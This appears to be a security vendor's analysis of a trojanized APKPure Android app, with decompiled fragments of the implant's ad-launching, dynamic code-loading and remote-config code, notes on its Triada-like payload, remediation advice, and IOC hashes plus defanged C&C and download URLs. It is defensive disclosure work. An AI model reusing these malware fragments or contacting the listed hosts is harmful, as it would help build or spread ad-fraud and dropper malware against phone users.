

# Malicious code in APKPure app

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```

if(Ⓜ.Ⓜ(arg6)) {
    String v0_1 = (String)Ⓜ.准(arg6, "cid", "");
    Ⓜ.Ⓜ("SSLive", "cid:" + v0_1);
    if(arg7 != null && ("android.intent.action.USER_PRESENT".equals(arg7.getAction())) {
        Ⓜ.Ⓜ("SSLive", "show h5");
        this.Ⓜ = true;
        AAA.time(arg6, v0_1, true);
        return;
    }

    Ⓜ.Ⓜ("SSLive", "show h5 ssk " + this.Ⓜ + ",cid:" + v0_1);
    if(!this.Ⓜ || (TextUtils.isEmpty(v0_1)) || !v0_1.contains("ssk")) {
        v1 = 0;
    }
}

```

- ○ Open browser pages with ads repeatedly.

```

public static void Ⓜ(Context arg3, String arg4, String arg5, String arg6) {
    if(Ⓜ.Ⓜ(arg4)) {
        return;
    }

    Intent v1 = new Intent("android.intent.action.VIEW", Uri.parse(arg4));
    v1.setClassName(arg5, arg6);
    v1.addFlags(0x10000000);
    arg3.startActivity(v1);
}

```

- ○ Load additional executable modules.

```

try {
    if(Ⓜ.Ⓜ == null) {
        Ⓜ.Ⓜ = new Ⓜ(v2, v0, null, Ⓜ.class.getClassLoader());
    }

    Method v0_3 = Ⓜ.Ⓜ.loadClass(Ⓜ.Ⓜ).getDeclaredMethod("init", Context.class, String.class);
    v0_3.setAccessible(true);
    v0_3.invoke(null, arg8, arg9);
    goto label_78;
}

```

In our case, a Trojan was loaded that has much in common with the notorious [Triada](#) malware and can perform a range of actions: from displaying and clicking ads to signing up for paid subscriptions and downloading other malware.

```
public static b *(String arg2) {
    b v0 = new b();
    JSONObject v1 = new JSONObject(arg2);
    v0.d(v1.optString("url"));
    v0.x(v1.optInt("time"));
    v0.F(v1.optString("endUrl"));
    v0.x(v1.optString("endResponse"));
    v0.d(v1.optBoolean("console"));
    v0.d(v.x(v1.optString("js")));
    v0.F(y.u(v1.optString("captcha")));
    v0.H(3);
    if(!v1.isNull("log")) {
        v0.H(v1.optInt("log"));
    }

    v0.x(v1.optInt("p"));
    v0.H(v1.optString("header"));
    v0.Y(v1.optInt("set"));
    return v0;
}

osw.als.dcv4ds.d.a.a.a = "jarname";
osw.als.dcv4ds.d.a.a.b = "apkId";
osw.als.dcv4ds.d.a.a.c = "downUrl";
osw.als.dcv4ds.d.a.a.d = "pkgName";
osw.als.dcv4ds.d.a.a.e = "version";
osw.als.dcv4ds.d.a.a.f = "oldVer";
osw.als.dcv4ds.d.a.a.g = "startClalass";
osw.als.dcv4ds.d.a.a.h = "startArgu";
osw.als.dcv4ds.d.a.a.i = "md5";
osw.als.dcv4ds.d.a.a.j = "type";
osw.als.dcv4ds.d.a.a.k = "isload";
osw.als.dcv4ds.d.a.a.l = "counts";
```

Depending on the OS version, the Trojan can inflict various forms of damage on the victim. APKPure users with current Android versions mostly risk having paid subscriptions and intrusive ads appear from nowhere. Users of smartphones who do not receive security updates are less fortunate: in outdated versions of the OS, the malware is capable of not only loading additional apps, but installing them on the system partition. This can result in an unremovable Trojan like [xHelper](#) getting onto the device.

Kaspersky solutions detect the malicious implant as HEUR:Trojan-Dropper.AndroidOS.Triada.ap.

If you use APKPure, we recommend immediately deleting the infected app and installing the “clean” 3.17.19 version. In addition, scan the system for other Trojans using a reliable security solution, such as [Kaspersky Internet Security for Android](#).

## IOCs

APKPure app

[2cfaedcf879c62f5a50b42cbb0a7a499](#)  
[718aec85e9f1219f3fc05ef156d3acf](#)  
[ceac990b3df466c0d23e0b7f588d1407](#)  
[deac06ab75be80339c034e266ddd9f](#)  
[f64d43c64b8a39313409db2c846b3ee9](#)

Payload

[31e49ac1902b415e6716bc3fb048f381](#)

Downloaded malware

[5f9085a5e5e17cb1f6e387a901e765cf](https://securelist.com/apkpure-android-app-store-infected/101845/)

C&C

[https://wcf.seven1029\[.\]com](https://wcf.seven1029[.]com)

[http://foodin\[.\]site/UploadFiles/20210406052812.apk](http://foodin[.]site/UploadFiles/20210406052812.apk)



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Kaspersky researchers analyze updated CoolClient backdoor and new tools and scripts used in HoneyMyte (aka Mustang Panda or Bronze President) APT campaigns, including three variants of a browser data stealer.

Kaspersky discloses a 2025 HoneyMyte (aka Mustang Panda or Bronze President) APT campaign, which uses a kernel-mode rootkit to deliver and protect a ToneShell backdoor.

Kaspersky GReAT experts analyze the Evasive Panda APT's infection chain, including shellcode encrypted with DPAPI and RC5, as well as the MgBot implant.

Kaspersky expert describes new malicious tools employed by the Cloud Atlas APT, including implants of their signature backdoors VBShower, VBCloud, PowerShower, and CloudAtlas.

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Source: <https://securelist.com/apkpure-android-app-store-infected/101845/>